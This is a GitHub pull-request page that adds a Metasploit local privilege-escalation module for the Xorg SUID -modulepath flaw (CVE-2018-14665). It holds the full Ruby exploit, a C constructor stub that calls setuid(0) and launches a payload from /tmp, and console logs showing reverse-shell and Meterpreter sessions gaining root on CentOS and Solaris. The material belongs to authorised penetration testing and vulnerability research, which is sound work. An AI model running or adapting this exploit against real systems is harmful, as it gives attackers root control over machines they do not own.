Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We鈥檒l occasionally send you account related emails.

Already on GitHub? Sign in to your account

WIP Xorg x11 suid server modulepath #11025

Merged
merged 6 commits into from Oct 22, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
@@ -0,0 +1,115 @@
## Vulnerable Application

For Xorg server versions below `v1.20.3`, there is an incorrect permissions
check when starting Xorg with the `-modulepath` flag. That combined with Xorg
being an SUID binary, users can execute arbitrary code as root.

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: ```use exploit/multi/local/xorg_x11_suid_server_modulepath```
4. Do: ```set SESSION <sess_no>```
5. Do: ```set TARGET <target_no>```
6. Do: ```run```
7. You should get a shell with root privileges.

## Scenarios

### Xorg `v1.19.3` on Centos 7.4

```
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.215.1:4444
[*] Sending stage (816260 bytes) to 172.16.215.159
[*] Meterpreter session 1 opened (172.16.215.1:4444 -> 172.16.215.159:52816) at 2019-10-22 09:50:42 -0500

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 7.4.1708 (Linux 3.10.0-693.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/multi/local/xorg_x11_suid_server_modulepath
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set session 1
session => 1
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set lhost 172.16.215.1
lhost => 172.16.215.1
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > check
[+] The target is vulnerable.
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > run

[*] Started reverse TCP handler on 172.16.215.1:4444
[+] Passed all initial checks for exploit
[*] Writing launcher and compiling
[*] Uploading your payload, this could take a while
[*] Exploiting
[*] Sending stage (816260 bytes) to 172.16.215.159
[*] Meterpreter session 2 opened (172.16.215.1:4444 -> 172.16.215.159:52818) at 2019-10-22 09:51:38 -0500
[+] Deleted /tmp/libglx.so
[+] Deleted /tmp/.session-xehPZXcIrZ

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 7.4.1708 (Linux 3.10.0-693.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```

### Xorg `v1.19.5` on Solaris 11.4

```
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.215.1:4444
[*] Command shell session 3 opened (172.16.215.1:4444 -> 172.16.215.152:49722) at 2019-10-22 09:27:45 -0500

whoami
space
uname -a
SunOS solaris 5.11 11.4.0.15.0 i86pc i386 i86pc
background

Background session 3? [y/N] y

msf5 exploit(multi/handler) > use exploit/multi/local/xorg_x11_suid_server_modulepath
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set payload cmd/unix/reverse_ksh
payload => cmd/unix/reverse_ksh
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set lhost 172.16.215.1
lhost => 172.16.215.1
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set session 3
session => 3
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set target 2
target => 2
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > check

[!] SESSION may not be compatible with this module.
[+] The target is vulnerable.
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.215.1:4444
[+] Passed all initial checks for exploit
[*] Writing launcher and compiling
[*] Uploading your payload, this could take a while
[*] Exploiting
[*] Command shell session 4 opened (172.16.215.1:4444 -> 172.16.215.152:57420) at 2019-10-22 09:30:05 -0500
[+] Deleted /tmp/qHkvGfpTTu.c
[+] Deleted /tmp/libglx.so
[+] Deleted /tmp/.session-jRlZ4zPfO

whoami
root
uname -a
SunOS solaris 5.11 11.4.0.15.0 i86pc i386 i86pc
```
246 changes: 246 additions & 0 deletions modules/exploits/multi/local/xorg_x11_suid_server_modulepath.rb
@@ -0,0 +1,246 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System


def initialize(info = {})
super(update_info(info,
'Name' => 'Xorg X11 Server SUID modulepath Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges with SUID Xorg X11 server
versions 1.19.0 < 1.20.3.

A permission check flaw exists for -modulepath and -logfile options when
starting Xorg. This allows unprivileged users that can start the server
the ability to elevate privileges and run arbitrary code under root
privileges.

This module has been tested with CentOS 7 (1708).
CentOS default install will require console auth for the users session.
Xorg must have SUID permissions and may not start if running.

On successful exploitation artifacts will be created consistant
with starting Xorg.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Narendra Shinde', # Discovery and exploit
'Aaron Ringo', # Metasploit module
],
'DisclosureDate' => 'Oct 25 2018',
'References' =>
[
[ 'CVE', '2018-14665' ],
[ 'BID', '105741' ],
[ 'EDB', '45697' ],
[ 'EDB', '45742' ],
[ 'EDB', '45832' ],
[ 'URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html' ]
],
'Platform' => %w[linux unix solaris],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => %w[shell meterpreter],
aringo marked this conversation as resolved.
Show resolved Hide resolved
'Targets' =>
[
['Linux x64', {
'Platform' => 'linux',
'Arch' => ARCH_X64 } ],
['Linux x86', {
'Platform' => 'linux',
'Arch' => ARCH_X86 } ],
['Solaris x86', {
'Platform' => [ 'solaris', 'unix' ],
'Arch' => ARCH_SPARC } ],
['Solaris x64', {
'Platform' => [ 'solaris', 'unix' ],
'Arch' => ARCH_SPARC } ],
],
'DefaultTarget' => 0))

register_advanced_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]),
OptBool.new('ConsoleLock', [ true, 'Will check for console lock under linux', true ]),
OptString.new('sofile', [ true, 'Xorg shared object name for modulepath', 'libglx.so' ])
]
)
end


def check
# linux checks
uname = cmd_exec "uname"
if uname =~ /linux/i
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This isn't necessary if you're only targeting Linux.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This technique works on Solaris also, I'll open it up. It does not work on OpenBSD though.

vprint_status "Running additional check for Linux"
if datastore['ConsoleLock']
user = cmd_exec "id -un"
unless exist? "/var/run/console/#{user}"
vprint_error "No console lock for #{user}"
return CheckCode::Safe
end
vprint_good "Console lock for #{user}"
end
end

# suid program check
xorg_path = cmd_exec "command -v Xorg"
unless xorg_path.include?("Xorg")
vprint_error "Could not find Xorg executable"
return CheckCode::Safe
end
vprint_good "Xorg path found at #{xorg_path}"
unless setuid? xorg_path
vprint_error "Xorg binary #{xorg_path} is not SUID"
return CheckCode::Safe
end
vprint_good "Xorg binary #{xorg_path} is SUID"

x_version = cmd_exec "Xorg -version"
if x_version.include?("Release Date")
v = Gem::Version.new(x_version.scan(/\d\.\d+\.\d+/).first)
unless v.between?(Gem::Version.new('1.19.0'), Gem::Version.new('1.20.2'))
vprint_error "Xorg version #{v} not supported"
return CheckCode::Safe
end
elsif x_version.include?("Fatal server error")
vprint_error "User probably does not have console auth"
vprint_error "Below is Xorg -version output"
vprint_error x_version
return CheckCode::Safe
else
vprint_warning "Could not parse Xorg -version output"
return CheckCode::Appears
end
vprint_good "Xorg version #{v} is vulnerable"

# process check for /X
proc_list = cmd_exec "ps ax"
if proc_list.include?('/X ')
vprint_warning('Xorg in process list')
return CheckCode::Appears
end
vprint_good('Xorg does not appear to be running')
return CheckCode::Vulnerable
end

def check_arch_and_compile(path, data)
cpu = ''
if target['Arch'] == ARCH_X86
cpu = Metasm::Ia32.new
compile_with_metasm(cpu, path, data)
elsif target['Arch'] == ARCH_SPARC
compile_with_gcc(path, data)
else
cpu = Metasm::X86_64.new
compile_with_metasm(cpu, path, data)
end
end

def compile_with_metasm(cpu, path, data)
shared_obj = Metasm::ELF.compile_c(cpu, data).encode_string(:lib)
write_file(path, shared_obj)
register_file_for_cleanup path

chmod path
rescue
print_status('Failed to compile with Metasm. Falling back to compiling with GCC.')
compile_with_gcc(path, data)
end

def compile_with_gcc(path, data)
unless has_gcc?
fail_with Failure::BadConfig, 'gcc is not installed'
end
vprint_good 'gcc is installed'

src_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(6..10)}.c"
write_file(src_path, data)

gcc_cmd = "gcc -fPIC -shared -o #{path} #{src_path} -nostartfiles"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
register_file_for_cleanup src_path
register_file_for_cleanup path

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{src_path} failed to compile"
end

chmod path
end

def exploit
check_status = check
if check_status == CheckCode::Appears
print_warning 'Could not get version or Xorg process possibly running, may fail'
elsif check_status == CheckCode::Safe
fail_with Failure::NotVulnerable, 'Target not vulnerable'
end

if is_root?
fail_with Failure::BadConfig, 'This session already has root privileges'
end

unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

print_good 'Passed all initial checks for exploit'

modulepath = datastore['WritableDir']
sofile = "#{modulepath}/#{datastore['sofile']}"
pscript = "#{modulepath}/.session-#{rand_text_alphanumeric 5..10}"
xdisplay = datastore['Xdisplay']

stub = %Q^
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For Linux, you could use Metasm to dynamically compile the shared object, rather than relying on gcc to be on the box. Here's an example.

extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);

void _init(void) __attribute__((constructor));

void __attribute__((constructor)) _init() {
setgid(0);
setuid(0);
system("#{pscript} &");
}
^
print_status 'Writing launcher and compiling'
check_arch_and_compile(sofile, stub)

# Uploading
print_status 'Uploading your payload, this could take a while'
if payload.arch.first == 'cmd'
write_file(pscript, payload.encoded)
else
write_file(pscript, generate_payload_exe)
end
chmod pscript
register_file_for_cleanup pscript


# Actual exploit with cron overwrite
print_status 'Exploiting'
#Xorg -logfile derp -modulepath ',/tmp' :1
xorg_cmd = "Xorg -modulepath ',#{modulepath}' #{xdisplay} & >/dev/null"
cmd_exec xorg_cmd
Rex.sleep 7
cmd_exec "pkill Xorg"
Rex.sleep 1
end
end